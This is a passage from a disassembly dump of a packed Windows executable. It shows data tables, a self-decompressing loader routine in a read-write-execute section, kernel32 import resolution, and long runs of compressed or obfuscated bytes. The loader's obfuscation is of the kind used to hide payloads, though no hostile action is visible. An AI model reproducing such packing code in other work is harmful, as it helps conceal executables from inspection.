sub_40390E+1C4r ... dd 0Fh dup(0) dword_4074D8 dd 0 ; DATA XREF: sub_40390E+12Co ; sub_40390E+191o ... dword_4074DC dd 0 ; DATA XREF: seg000:00403D4Er dd 2 dup(0) dword_4074E8 dd 0 ; DATA XREF: sub_403E7F+265r ; seg000:00404385r ... dd 3 dup(0) dword_4074F8 dd 0 ; DATA XREF: seg000:00402741r ; sub_403E7F+9Dr ... align 10h dword_407500 dd 1 ; DATA XREF: sub_403E7F+Er ; sub_403E7F+31w ... dword_407504 dd 1 ; DATA XREF: seg000:00404249r ; seg000:00404269w ... dword_407508 dd 0 ; DATA XREF: sub_4043F5r dword_40750C dd 0 ; DATA XREF: sub_403B37:loc_403C40r ; sub_403B37:loc_403C7Er ... dword_407510 dd 0 ; DATA XREF: seg000:00402D1Ew ; sub_402D70+21Cr ... dword_407514 dd 0 ; DATA XREF: seg000:00402D25w ; sub_402D45r ... dword_407518 dd 0 ; DATA XREF: seg000:00402D12w ; sub_402D45+8r ... dword_40751C dd 0 ; DATA XREF: sub_40292E+Er ; seg000:00402D33w ... dword_407520 dd 0 ; DATA XREF: seg000:00402D2Cw ; sub_402D70+300w ... dword_407524 dd 0 ; DATA XREF: seg000:00402D39w ; sub_403088+5r ... dword_407528 dd 0 ; DATA XREF: sub_402D70+229r ; sub_402D70+249r ... dword_40752C dd 0 ; DATA XREF: sub_40253D+1Aw ; sub_402566+84r ... dword_407530 dd 0 ; DATA XREF: sub_40253D+15w ; seg000:0040283Fw ... align 10h byte_407540 db 0 ; DATA XREF: sub_40253D+6o ; seg000:00402799o ... byte_407541 db 0 ; DATA XREF: seg000:004018F0r ; seg000:004019C6r ... align 4 dd 0Fh dup(0) dd 10100000h, 6 dup(10101010h), 0 dd 20200000h, 6 dup(20202020h), 2 dup(0) dd 20h, 10000000h, 10001000h, 2 dup(0) dd 20000000h, 20002000h, 10h, 0 dd 20000000h, 2 dup(0) dd 200000h, 20000000h, 0 dd 10101000h, 5 dup(10101010h), 10101000h, 10101010h, 6 dup(20202020h) dd 20202000h, 20202020h, 20h dword_407644 dd 4E4h ; DATA XREF: sub_40253D+10w ; sub_402566+16r ... align 10h dword_407650 dd 4 dup(0) ; DATA XREF: sub_40253D+1Fo ; seg000:00402854o ... byte_407660 db 0 ; DATA XREF: sub_402566:loc_402678w ; sub_402566:loc_402695w ... align 4 dd 0Fh dup(0) dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h dd 77767574h, 7A7978h, 0 dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h dd 57565554h, 5A5958h, 0 dd 83000000h, 0 dd 9A0000h, 9E009Ch, 2 dup(0) dd 8A0000h, 0FF8E008Ch, 2 dup(0) dd 0AA0000h, 2 dup(0) dd 0B500h, 0BA0000h, 0 dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h dd 9FDEDDDCh dword_407760 dd 0D20000h ; DATA XREF: sub_4028F6+2Ar ; sub_40292E+38r ... dword_407764 dd 1 ; DATA XREF: sub_4028F6+9r sub_40292Er ... dd 20h, 5 dup(0) dd 0D20650h, 3Fh dup(0) dd 1 dword_407884 dd 0D20754h ; DATA XREF: sub_401363+3Er ; sub_401363:loc_4013B5r ... dword_407888 dd 0D20758h ; DATA XREF: sub_401363+34r ; sub_401363+5Ar ... dd 1, 0 dd 142340h, 1DAh dup(0) seg002 ends ; Section 4. (virtual address 00008000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 00008000 ; Flags E0000040: Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute seg003 segment para public 'CODE' use32 assume cs:seg003 ;org 408000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing dd 3 dup(0) dd 8000h, 3 dup(0) dd 3 dup(8000h), 3F6h dup(0) seg003 ends ; Section 5. (virtual address 00009000) ; Virtual size : 0001D000 ( 118784.) ; Section size in file : 0001D000 ( 118784.) ; Offset to raw data for section: 00009000 ; Flags E0000040: Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _data segment para public 'CODE' use32 assume cs:_data ;org 409000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing db 90h db 60h, 0E8h, 3 dd 0E9000000h, 455D04EBh, 1E8C355h, 0EB000000h, 0FFEDBB5Dh dd 0DD03FFFFh, 9000EB81h, 7D800000h, 0C75014Dh, 2824748Bh dd 8901FE83h, 31754E5Dh, 5053458Dh, 0EDB5FF53h, 8D000009h dd 0E9503545h, 82h, 390000h, 30000h, 77E79E34h, 3BE000h dd 77E805D8h, 77E79F93h, 0 dd 0C0F8B800h, 505023A5h, 5B4E4503h, 1C74C085h, 81E801EBh dd 0A5C0F8FBh, 33357423h, 6A56D2h, 4E75FF56h, 835ED0FFh dd 247500FEh, 458BD233h, 74C08541h, 0FF525207h, 0D0FF3575h dd 8535458Bh, 680D74C0h, 8000h, 75FF006Ah, 3D55FF35h, 61DB0B5Bh dd 16A0675h, 0CC258h, 0D8F7C033h, 0C240C01Bh, 1868000Ch dd 806C1C4Ah, 0E85BADF6h, 5, 5CCF2EA9h, 0D98B6665h, 0DED1815Fh dd 81576D3Eh, 8AEC7h, 0B86AB200h, 4D279751h, 955DF081h dd 0E3814D27h, 5BF4DF89h, 0F681378Bh, 25194D83h, 0C03DFDB9h dd 0EE817Dh, 6637B61Bh, 0C681D68Bh, 16C3AF39h, 11E8h, 0BB4AB500h dd 971631D8h, 33A26D84h, 8FEE69F0h, 8B66251Ch, 37895AD6h dd 2BD9D381h, 0EF810B63h, 593B9C7Fh, 0C781D08Ah, 593B9C7Bh dd 10E4BA66h, 0A9850F48h, 66FFFFFFh, 8B66CA8Bh, 12E8C2h dd 0A3D20000h, 0FF1E59A0h, 1B2A15CCh, 0F7F691B8h, 9382CD64h dd 665E2AB5h, 8109E8BAh, 824C6h, 0CE900h, 3D940000h, 39008332h dd 0F52CDF7Eh, 0DB33FB8Ah, 0ADC28166h, 1E3C8B65h, 0F781CCB4h dd 4150AE6Eh, 86C7B853h, 81592D43h, 93F90FEFh, 87BFB93Bh dd 0C7813804h, 647DCD9Ch, 8951E680h, 8B661E3Ch, 0A8BA66CFh dd 4EB83DEh, 81C2B70Fh, 0FFF880FBh, 15850FFFh, 81000000h dd 11E2ECC0h, 24E953h, 0BB4A0000h, 971631D8h, 33A26D84h dd 608FB966h, 0FFFFA0E9h, 0ABFA25FFh, 87C6A108h, 2352DDB4h dd 7F9ED920h, 0AE8954Ch, 6A000000h, 36D1F85Bh, 0C20DA437h dd 792FBED3h, 0E85E0F99h, 0Ah, 41284B1Ah, 7DD427E6h, 0BE68C372h dd 8A33C8E3h, 685A59CBh, 442155EDh, 59F2B70Fh, 762C281h dd 68530000h, 1066746h, 840Fh, 5F590000h, 850FDB33h, 5 dd 0B19A91BEh, 1A048B08h, 1BA93B9h, 74C0816Ah, 6630EE4Dh dd 63FCC681h, 829DE881h, 0C0814CC8h, 2B99A312h, 0F8A0Fh dd 7E80000h, 83000000h, 0DF7E3900h, 5956F52Ch, 3068505Eh dd 8B07E091h, 48F59CFh, 0F4D5801Ah, 0EB835957h, 800F01h dd 4B000000h, 8E94B4Bh, 90000000h, 0BCAF8E89h, 81CB9A45h dd 0FFF944FBh, 96850FFFh, 66FFFFFFh, 8B0FCB8Bh, 2, 7E8D5B6h dd 0B3000000h, 0F6EE970h, 0DE9A59Ch, 21000000h, 5D340746h dd 59A0A3D2h, 15CCFF1Eh, 817EB658h, 6ABC0h, 0D88B6600h dd 182B9h, 0FCBB6600h, 0BE30FFBCh, 59F80A3Dh, 3100685Fh dd 0DF686AB1h, 5B2347CCh, 0C3EF815Ah, 812DCA53h, 7D4440F7h dd 0EE870h, 0CF2E0000h, 0EB3A655Ch, 0C706E148h, 63921DF4h dd 815ADE8Bh, 0A1BF79F7h, 158A0F19h, 0E8000000h, 0Ch, 53428D24h dd 0AF8E8990h, 0CB9A45BCh, 5BD08B66h, 0BF0F3889h, 0B5E881D9h dd 0F66C06Dh, 0C081DFB7h, 66C06DB1h, 0E983FD8Ah, 8A850F01h dd 66FFFFFFh, 0BF68F78Bh, 564E10ECh, 24E18166h, 0E85A58E4h dd 5, 0BCAF8E89h, 0CA8B5145h, 3EBA5B59h, 815FF9A8h, 5F0C3h dd 0AE900h, 0BB4A0000h, 971631D8h, 33A26D84h, 1CBAFF33h dd 0FF194DA0h, 81661F34h, 5E5BC6E0h, 572DD68h, 5E804h dd 9ED90000h, 50954C7Fh, 815A585Ah, 803906EEh, 0F0816677h dd 0EE813526h, 139C4BC7h, 3830Fh, 8B660000h, 0F4C681CEh dd 0B51B8D15h, 6650568Bh, 58D94FB9h, 523B048Fh, 0A347B866h dd 8E959h, 99E00000h, 550C3F5Eh, 0EF835B6Ah, 0C2B70F03h dd 0EE94Fh, 2F0E0000h, 4B1AC53Ch, 27E64128h, 0C3727DD4h dd 0FAD8FF81h, 850FFFFFh, 0FFFFFF7Fh, 14E8h, 0CA356C00h dd 96B1583Bh, 22ED0417h, 6EE970B3h, 7AA59C0Fh, 0E146682Bh dd 595951CDh, 0E8h, 895B5D00h, 895B5B5Dh, 89585F5Dh, 40D85h dd 7D805800h, 5975015Ah, 4258589h, 8D600000h, 33503345h dd 30FF64C0h, 8B208964h, 2E4E8C3h, 1CEB0000h, 824648Bh dd 68F6764h, 0C4830000h, 458D6104h, 55FF5063h, 2DEE85Fh dd 9EB0000h, 68F6764h, 0C4830000h, 1BEB24h, 409048h, 77E79F93h dd 6E72656Bh, 32336C65h, 6C6C642Eh, 29CE800h, 8DFC0000h dd 8CB5h, 0C00BAD00h, 0F88B1B74h, 0CB9h, 0EBA4F300h, 40100010h dd 83432000h, 0AA1991B2h, 94861100h, 29A5896Ch, 6A000004h dd 10006840h, 0B5FF0000h, 408h, 95FF006Ah, 3F0h, 1CC8589h dd 9D8B0000h, 400h, 40D9D03h, 53500000h, 104E8h, 68406A00h dd 1000h, 408B5FFh, 6A0000h, 3F095FFh, 85890000h, 431h dd 1D08589h, 67640000h, 890000A1h, 42D85h, 5B558B00h, 1D0858Bh dd 2890000h, 408858Bh, 42890000h, 9F858D04h, 8B000003h dd 42895540h, 0EC858B08h, 89000003h, 858B1042h, 3E8h, 8B144289h dd 1CC95h, 1F8BB00h, 7C8B0000h, 0FF0B0C1Ah, 4C8B1E74h dd 0C90B101Ah, 0BD031174h, 1D0h, 141A748Bh, 0F9C1F203h dd 83A5F302h, 0DAEB28C3h, 1CC858Bh, 8B500000h, 1D095h dd 188B5200h, 858BDA03h, 3E4h, 858B0389h, 3E8h, 8B044389h dd 3EC85h, 8438900h, 468B5E5Fh, 89C70304h, 1C785h, 5B558B00h dd 1C7858Bh, 42890000h, 0D9D8D0Ch, 53000004h, 6A006Ah dd 8B57016Ah, 0DF03085Eh, 80006853h, 6A0000h, 0F495FF56h dd 68000003h, 3BE000h, 360000C3h, 39000000h db 0 ; --------------------------------------------------------------------------- push ebp mov ebp, esp pusha push ebp mov esi, [ebp+8] mov edi, [ebp+0Ch] cld mov dl, 80h loc_409647: ; CODE XREF: .data:loc_409656j mov al, [esi] inc esi mov [edi], al inc edi loc_40964D: ; CODE XREF: .data:004096ABj ; .data:004096F0j ... add dl, dl jnz short loc_409656 mov dl, [esi] inc esi adc dl, dl loc_409656: ; CODE XREF: .data:0040964Fj jnb short loc_409647 add dl, dl jnz short loc_409661 mov dl, [esi] inc esi adc dl, dl loc_409661: ; CODE XREF: .data:0040965Aj jnb short loc_4096AD xor eax, eax add dl, dl jnz short loc_40966E mov dl, [esi] inc esi adc dl, dl loc_40966E: ; CODE XREF: .data:00409667j jnb loc_40974A add dl, dl jnz short loc_40967D mov dl, [esi] inc esi adc dl, dl loc_40967D: ; CODE XREF: .data:00409676j adc eax, eax add dl, dl jnz short loc_409688 mov dl, [esi] inc esi adc dl, dl loc_409688: ; CODE XREF: .data:00409681j adc eax, eax add dl, dl jnz short loc_409693 mov dl, [esi] inc esi adc dl, dl loc_409693: ; CODE XREF: .data:0040968Cj adc eax, eax add dl, dl jnz short loc_40969E mov dl, [esi] inc esi adc dl, dl loc_40969E: ; CODE XREF: .data:00409697j adc eax, eax jz short loc_4096A8 push edi sub edi, eax mov al, [edi] pop edi loc_4096A8: ; CODE XREF: .data:004096A0j mov [edi], al inc edi jmp short loc_40964D ; --------------------------------------------------------------------------- loc_4096AD: ; CODE XREF: .data:loc_409661j mov eax, 1 loc_4096B2: ; CODE XREF: .data:loc_4096C6j add dl, dl jnz short loc_4096BB mov dl, [esi] inc esi adc dl, dl loc_4096BB: ; CODE XREF: .data:004096B4j adc eax, eax add dl, dl jnz short loc_4096C6 mov dl, [esi] inc esi adc dl, dl loc_4096C6: ; CODE XREF: .data:004096BFj jb short loc_4096B2 sub eax, 2 jnz short loc_4096F5 mov ecx, 1 loc_4096D2: ; CODE XREF: .data:loc_4096E6j add dl, dl jnz short loc_4096DB mov dl, [esi] inc esi adc dl, dl loc_4096DB: ; CODE XREF: .data:004096D4j adc ecx, ecx add dl, dl jnz short loc_4096E6 mov dl, [esi] inc esi adc dl, dl loc_4096E6: ; CODE XREF: .data:004096DFj jb short loc_4096D2 push esi mov esi, edi sub esi, ebp rep movsb pop esi jmp loc_40964D ; --------------------------------------------------------------------------- loc_4096F5: ; CODE XREF: .data:004096CBj dec eax shl eax, 8 mov al, [esi] inc esi mov ebp, eax mov ecx, 1 loc_409703: ; CODE XREF: .data:loc_409717j add dl, dl jnz short loc_40970C mov dl, [esi] inc esi adc dl, dl loc_40970C: ; CODE XREF: .data:00409705j adc ecx, ecx add dl, dl jnz short loc_409717 mov dl, [esi] inc esi adc dl, dl loc_409717: ; CODE XREF: .data:00409710j jb short loc_409703 cmp eax, 7D00h jnb short loc_40973A cmp eax, 500h jb short loc_409735 inc ecx push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_40964D ; --------------------------------------------------------------------------- loc_409735: ; CODE XREF: .data:00409725j cmp eax, 7Fh ja short loc_40973D loc_40973A: ; CODE XREF: .data:0040971Ej add ecx, 2 loc_40973D: ; CODE XREF: .data:00409738j push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_40964D ; --------------------------------------------------------------------------- loc_40974A: ; CODE XREF: .data:loc_40966Ej mov al, [esi] inc esi xor ecx, ecx shr al, 1 jz short loc_409766 adc ecx, 2 mov ebp, eax push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_40964D ; --------------------------------------------------------------------------- loc_409766: ; CODE XREF: .data:00409752j pop ebp sub edi, [ebp+0Ch] mov [ebp-4], edi popa pop ebp retn 8 ; --------------------------------------------------------------------------- dw 2140h dd 448B77E8h, 252424h, 5FFFF00h, 10000h, 100002Dh, 38816600h dd 0F4755A4Dh, 0F8858960h, 8B000003h, 3D88BD0h, 58033C40h dd 0D9D8978h, 8D000003h, 3CC9Dh, 0E4BD8D00h, 8B000003h dd 7CB58933h, 0E8000003h, 0Bh, 4C383ABh, 75003B83h, 60C361EAh dd 30D9D8Bh, 4B8B0000h, 8BCA0320h, 0E8F20331h, 2Fh, 0CD75CEBFh dd 74C73B49h, 4C18305h, 4B2BE9EBh, 0D1CA2B20h, 244B03E9h dd 0B70FCA03h, 2E1C109h, 31C4B03h, 3098BCAh, 244C89CAh dd 52C3611Ch, 3B248EBAh, 0C00AAC9Ch, 0D0321474h, 0EAD108B0h dd 0F2810673h, 0C1A7F39Ah, 0F275C8FEh, 5A92E7EBh, 2551A7C3h dd 493BF0B7h, 190257A7h, 0EE321390h, 0CD75CE74h, 49h, 0E7A5FD00h dd 0E79F9377h, 0E805D877h, 0E7980A77h, 0E79E3477h, 0E6000077h dd 3C0077h, 9B2C00h, 158F400h, 3000000h, 0 dd 2 dup(40h), 2 dup(0) dd 5D980000h, 0 dd 0FFA40000h, 0FFE00012h, 12h, 10000039h, 3E000000h, 29240000h dd 50000000h, 14000000h, 9CE0000h, 70000000h, 4000000h dd 18D0000h, 80000000h, 10000000h, 2F0000h, 45h dup(0) dd 2000h, 8, 6 dup(0) dd 77E7A5FDh, 77E79F93h, 77E805D8h, 2 dup(0) dd 6E72656Bh, 32336C65h, 6C6C642Eh, 47000000h, 72507465h dd 6441636Fh, 73657264h, 73h, 4D746547h, 6C75646Fh, 6E614865h dd 41656C64h, 4C000000h, 4C64616Fh, 61726269h, 417972h dd 3 dup(0) dd 9A10h, 99FCh, 3 dup(0) dd 9AB4h, 9ADBh, 3 dup(0) dd 9AC1h, 9AE3h, 3 dup(0) dd 9ACEh, 9AEBh, 5 dup(0) dd 61766461h, 32336970h, 6C6C642Eh, 656C6F00h, 33747561h dd 6C642E32h, 656B006Ch, 6C656E72h, 642E3233h, 0F0006C6Ch dd 77DD72h, 25000000h, 771218h, 6000000h, 77E6D7h, 0 db 0 aRegcreatekeya db 'RegCreateKeyA',0 align 4 db 0 aVariantchanget db 'VariantChangeTypeEx',0 db 2 dup(0), 52h aAiseexception db 'aiseException',0 align 4 dd 2E838A4h, 8E06170h, 0C2018D88h, 1E7019Fh, 705E5708h dd 12578703h, 50BB3810h, 46FF009Ah, 4492513h, 2443BDE3h dd 6592260h, 2801142Bh, 70122051h, 1A0A012Ah, 47F45001h dd 0E2285790h, 480424A0h, 3044DE20h, 121E89B0h, 9150BD24h dd 570A22E0h, 0F0B22842h, 364CC8B9h, 481FBE9h, 20401038h dd 5300060Ch, 6E697274h, 75586735h, 50010019h, 338E0420h dd 18002C9Ch, 0AC0922A8h, 0A4B044h, 812B8488h, 20E01298h dd 4F54070Eh, 656A0062h, 0FF7463h, 7091A425h, 0C08B3242h dd 39A01000h, 8E981C9Ch, 23940047h, 0C88C9190h, 8401E488h dd 7C398072h, 2286781Ch, 44B82374h, 0E4B4C800h, 3968726Ch dd 601C2064h, 58235C00h, 50C85491h, 724C01E4h, 1C443948h dd 23B00040h, 3891013Ch, 30E434C8h, 0C439D472h, 0DEE1D3Ah dd 2A281C2Ch, 0EE023F8h, 0D8C8DC91h, 0D072D4E0h, 83015318h dd 0BBBCC409h, 6E80200Ah, 0C10123E8h, 4400F60Ch, 74DC2C24h dd 0F1E05h, 30065CB7h, 0FE38C38Bh, 47EB5B00h, 6534DA2Ch dd 8320720h, 3618391Ch, 100F7A14h, 80900C23h, 0BE5653C0h dd 0C774074Ch, 3E8312h, 44683A75h, 0CC066701h, 0DFE8036Ah dd 8BDBC0h, 75C985C8h, 0C0313305h, 0A1CA5E00h, 89438E48h dd 0D4A1C01h, 0D2803F08h, 0C003C28Bh, 441D8D0Fh, 1EC004C1h dd 6901889h, 3837D42h, 0EC7564FAh, 10883F9Eh, 59001633h dd 3B54B690h, 72D10440h, 0D8F23858h, 1F33E880h, 0ED859602h dd 8B493000h, 503A8916h, 56990E08h, 803F0C04h, 6233EF13h dd 42481458h, 0B003003Ch, 50191C01h, 0FD083DA2h, 9451F980h dd 9991150Eh, 43A33E00h, 9003C307h, 557F57h, 14F9F18Bh dd 5AE8D424h, 9760500Fh, 6A466004h, 0BEEB5Dh, 0B03BBF90h dd 3D0A043h, 0C795300h, 14751612h, 0E8130006h, 27D4DDA7h dd 0A7F6096h, 4460100h, 4C50EB6Eh, 3B4E0003h, 0D75C215h dd 180FD41Dh, 6FDF077Dh, 0C7005FEBh, 0E8C5E1D6h, 2B940977h dd 990FA084h, 5D5A6AA0h, 8901A45Fh, 12E0C58Dh, 0F8E40A74h dd 3A3900BFh, 0A13230FBh, 7201F03Bh, 0CE186C7Dh, 0E8DC4A03h dd 6E610055h, 5E77CDD8h, 7500248Fh, 36BCB41Bh, 0CFF01h dd 83AA2963h, 40829C7Bh, 65994400h, 0A9743EBh, 0ED7250D8h dd 74CE0077h, 5430DFF8h, 1D00FECFh, 0EBCD7329h, 9E2A26h dd 24478985h, 7C57F92Bh, 12965C03h, 0E0FBD0F0h, 30D476B9h dd 0EB28A76Ah, 0D000E0Ch, 3B1BA898h, 0FA65FB7Eh, 6259071Ch dd 23A39092h, 0F0A8DA8Bh, 0CE0AFE81h, 9C02104Eh, 808DBE09h dd 0FFC6FC12h, 14BB00E3h, 1008E636h, 73008903h, 68016A04h dd 242083h, 90C05618h, 89F880EFh, 0FF853B09h, 909803Ch dd 350B8D3h, 0C664482Ah, 80A94A13h, 38BC8E4h, 0F700E8FAh dd 7AF84FD5h, 7D1264ACh, 41D91F55h, 47FC80B4h, 6A614304h dd 505DB500h, 55520C68h, 75C50E53h, 0CA20791Fh, 1C259332h dd 3B839E0Ah, 0A500C729h, 9F6CA4DCh, 4CD200ECh, 0E4491312h dd 0E31283C7h, 1E07FF08h, 54117D66h, 0E8C51D90h, 0F88F09E8h dd 2A790FC5h, 4180ED10h, 2451EB4Fh, 9073F31Ch, 77EE1E40h dd 3BC64946h, 0BB000F03h, 0EDEFDF35h, 43036A74h, 0D568987h dd 767FC015h, 0A96B0FDEh, 73609575h, 0A06864Dh, 2C05C700h dd 261BDC8Dh, 0DF501C10h, 59FBC781h, 30EB3075h, 0ED7E0460h dd 0D47C8300h, 1928C070h, 43E93D0Fh, 22620800h, 0AD2B0C15h dd 321D9700h, 14AC50AFh, 0B974A6h, 4CF447B8h, 0EA1C7285h dd 0E5813Fh, 337BAF0h, 0C2971Ah, 20930F74h, 0B5F887E2h dd 4C1E8900h, 0D10D281Bh, 4DC5072Bh, 0B035F546h, 5EFE3CCFh dd 7E12C174h, 9201030Ch, 27C7690h, 3DFDDCCh, 0F1BAE8F8h dd 3C800DA6h, 58001E24h, 2B0F1044h, 535764h, 0C1755A85h dd 0C9EBA628h, 8A003390h, 0BC65BA0Fh, 0C860Ah, 740B6B92h dd 0B6612C32h, 0A221F300h, 86E6824Ch, 9E342650h, 590301D9h dd 0F8C9583Fh, 2B0032F7h, 8594410Fh, 0C33842h, 0B773241Ch dd 0EFE10ADDh, 8D00DE7Dh, 0E8835EFDh, 3404781h, 2E24249h dd 58C89412h, 0AD0038C0h, 0BDD04531h, 0F837C160h, 3FFF00C7h dd 83E78753h, 0F50031C0h, 3B33D45Dh, 7F0F60h, 7C4A2C58h dd 0E55D759h, 557E800h, 74772117h, 46FD0050h, 85764963h dd 0A2073E90h, 0DD0AC935h, 0AA6480DEh, 98E814C7h, 8F2F00A5h dd 19CCCB21h, 390BFBAh, 5CCDA7A0h, 7423A500h, 0E83A060Ch dd 59CC009Fh, 24376CDEh, 64137A10h, 2B0EB05Ch, 0A73F80FAh dd 2C026593h, 806207h, 75558249h, 57EE85F5h, 0FA34200h dd 0E0A4968Eh, 0DA95038Dh, 2A2BA90Bh, 56269CE8h, 270FE8F6h dd 0E31D35BDh, 3373306h, 0A5C99284h, 42C82686h, 8400B175h dd 0EF9D8B16h, 7258C4Dh, 0AAC226Dh, 4E08C0E9h, 0A0008AC9h dd 0E345947h, 7850F82h, 9FFF6A66h, 48EB704Bh, 81166B29h dd 0AB07F51Ch, 1DA04922h, 1EB4D855h, 40857AA6h, 38832146h dd 28006FA8h, 1A406911h, 109A94Fh, 10425214h, 0F44A078Ah dd 1600C7ABh, 26239280h, 98C5F98Bh, 199800FCh, 300DE31Ch dd 7B000336h, 0BE650F0h, 0DE1F3Bh, 0CFD25B73h, 0D32B7406h dd 0EB298B00h, 0B844CC05h, 4D4F0089h, 8F5CF1B9h, 0DB038520h dd 59B61FCAh, 64B490C3h, 0B1892E39h, 0B2A5032Dh, 0F6B80811h dd 0F2004914h, 40333C48h, 94EB03h, 8E07957Ah, 815C8D52h dd 9CEC2800h, 662668EAh, 4B7F19h, 3332FF64h, 30DA2289h dd 68288F00h, 3D800301h, 65700041h, 230A7E16h, 5D000713h dd 6F8861EFh, 0F8729EB5h, 1214008Ch, 0CA0FF868h, 0A30718CCh dd 3D832D88h, 841A0650h, 0EFB8002Fh, 5159D85h, 0C900330Eh dd 0F482C080h, 173D2A40h, 0DAF01h, 2770B841h, 7300BE2Ch dd 847C62C8h, 52805C6h, 0EA0014Ah, 8CF5005Ah, 6D68100Ah dd 87299707h, 0C3800F51h, 3BAF3E9h, 0E5EB14FEh, 5DF82EA0h dd 53001BC4h, 86C8E74Ch, 3CC840Fh, 21D2A4D5h, 0C7971A4Ah dd 0E068815Eh, 1291F0A1h, 0E74C29B0h, 0B24D0360h, 0D825F477h dd 423C3Ah, 0A63D51D5h, 0E4B52EB3h, 39FE601h, 61B88993h dd 117FDE4h, 153E3238h, 0E0535E57h, 0E9007505h, 0DA77CA51h dd 1F3B1A94h, 80290A52h, 5BDBC2E4h, 537CE080h, 0A17C051Ch dd 83390980h, 0B1528h, 480213DFh, 0E4F98108h, 7F27AD0Eh dd 176D0038h, 0B79C985h, 0C183031Ch, 240968Eh, 0CD97D2D5h dd 0EBF48100h, 51174A24h, 18460FDAh, 0F560F02Ch, 0D6780CBFh dd 0AE158203h, 752D709h, 938C9D66h, 4AB590EBh, 0C100ED80h dd 0EE030772h, 70FCF0Ch, 8112C216h, 7518F0FAh, 10009EE8h dd 31185B9h, 0A08E534Fh, 1CA40BEh, 97F0E983h, 0C401761Ch dd 7C0010FAh, 703C70Fh, 8B3034h, 2085D14Ch, 28A0D80Ch dd 0F37C0400h, 0C981428Ah, 808703C8h, 0B260889h, 5FF1490h dd 87B81C3Fh, 4EA83D0h, 0FCE2ABF0h, 7FE40186h, 15011217h dd 11EB6020h, 3CAC0B00h, 7C3A0C6Eh, 0CA96000Eh, 2C2B5F02h dd 13010D84h, 4A522A0Bh, 0A7701C0Ah, 4DB8C2h, 4D08B1FEh dd 0E1339048h, 9149200h, 31742506h, 47F2Ah, 0A154B0DAh dd 0AE802B64h, 1133C800h, 0B2FEC2F7h, 20AC1EE2h, 1F643EBh dd 8AB8FAC7h, 72E0A746h, 0C62B0800h, 58EB703Bh, 8806001Eh dd 2B64FE8h, 0DE00030Bh, 64455509h, 1FD8963Dh, 7A00733h dd 20670AA9h, 3E5A250Bh dd 0B0F8BF00h, 2A824D8h, 13760075h, 0C655F378h, 4600FC32h dd 8316A008h, 0FE7A23h, 0B02CC74Bh, 0B20994F8h, 13B34503h dd 984D665Ch, 7FDC5D3Fh, 418D0067h, 52D12B37h, 873D7FF3h dd 0C49CAEC9h, 0FBC5FA00h, 4C7DE9E3h, 7F39B412h, 91925304h dd 0C37AC466h, 25F80F47h, 8D00EFA8h, 1157E746h, 822CF4h dd 0B979EDD6h, 0D5C6301Eh, 0B5002B79h, 0AA6BE342h, 705AF813h dd 0C29A3A73h, 148D0A00h, 0E8D0BCC7h, 350B4600h, 0F82CEF9Eh dd 1B00060h, 489C5A59h, 30006BE9h, 7389DFA0h, 2C0239BAh dd 0D3C603h, 14095C1h, 990EFE81h, 0A137984Eh, 359AD285h dd 0FAC2F4h, 4D2E4C9Bh, 0A5F49009h, 4410BC00h, 1D5C890Dh dd 25B0013h, 3AEB1B87h, 431FE369h, 0C3001296h, 0E6BF5A92h dd 407F002Ch, 0D4B7C3Ch, 73C3921h, 8283090Ch, 84EF0017h dd 1CCD1D33h, 0AE2E4BB3h, 1FC20057h, 0EA7E1180h, 8E099200h dd 836252FDh, 0EB210307h, 1441A12Bh, 0B930C8C0h, 84421500h dd 7448C51h, 591913CAh, 0A8870EAFh, 78962640h, 6B050969h dd 8D41670Eh, 0C7A5FB80h, 0C2FC58F8h, 220D4A03h, 8CE30835h dd 468240FFh, 521D7C3Bh, 0D8400712h, 5FE82606h, 297B0099h dd 4470119h, 9D030320h, 7449F30Bh, 0C63FC824h, 0E8170781h dd 5033ABCFh, 117A842Dh, 0DD0024F6h, 485932C7h, 5EDF6Dh dd 3735F56Fh, 4D3E7D82h, 5D218300h, 9D10FE93h, 0C96C0094h dd 0F174D4CFh, 6B00E809h, 9833C606h, 8B3E36h, 0D7396C4h dd 22075CAh, 73A905Ch, 0BEC6490Ch, 8DCC5EF0h, 2E527FE1h dd 1C2FBAAh, 94B60CAh, 2E8FC882h, 8E90A23Bh, 0A03D02F8h dd 94167FEFh, 0C46E005Ch, 0AA808254h, 87B75D2h, 0EAC55E03h dd 98CDA984h, 0BF1620h, 0BD0B8291h, 0D4E19B80h, 775C5375h dd 0B184007Fh, 881F1728h, 4C7E006Ch, 19920B7Bh, 7F1F31D7h dd 0EBC38E43h, 90281F42h, 79F4BB74h, 16630026h, 67D10DE4h dd 12000E5Fh, 4E4149D8h, 3FF1B95h, 907889Ah, 0F6D87AE9h dd 1800EB3Bh, 0A29A448h, 927D83h, 0FD8498C7h, 4538153Dh dd 0C400B3FEh, 288C3501h, 7AD9B1D6h, 0F30A024Bh, 4432CEEEh dd 4C515160h, 3E66F51Dh, 0B0C0BC1Dh, 5658B61h, 0D33C0074h dd 92D60317h, 0EB004D32h, 41F211C1h, 5758Ch, 73D69DAh dd 15CAD33h, 4E0E6A00h, 645D4B7Eh, 559500D4h, 172DB68Dh dd 0A5000296h, 9908ABE8h, 0E8480AB1h, 0E92A02FCh, 0C9F4D5FAh dd 2DE07B62h, 26006920h, 17210231h, 24C3838Eh, 53EEDCh dd 2AD2FB28h, 8B00BB05h, 22F581E0h, 0F0B0Ch, 0CD64938Fh dd 34C98491h, 79F27D0Fh, 0C6142092h, 2A7C303h, 50014289h dd 0F7E075D0h, 0D48212Ah, 2C023FC7h, 0F8009D7Ch, 38CB4A9Eh dd 863D039Fh, 768F4420h, 844DB412h, 2E804C1Ch, 611F0D5Eh dd 6952005Dh, 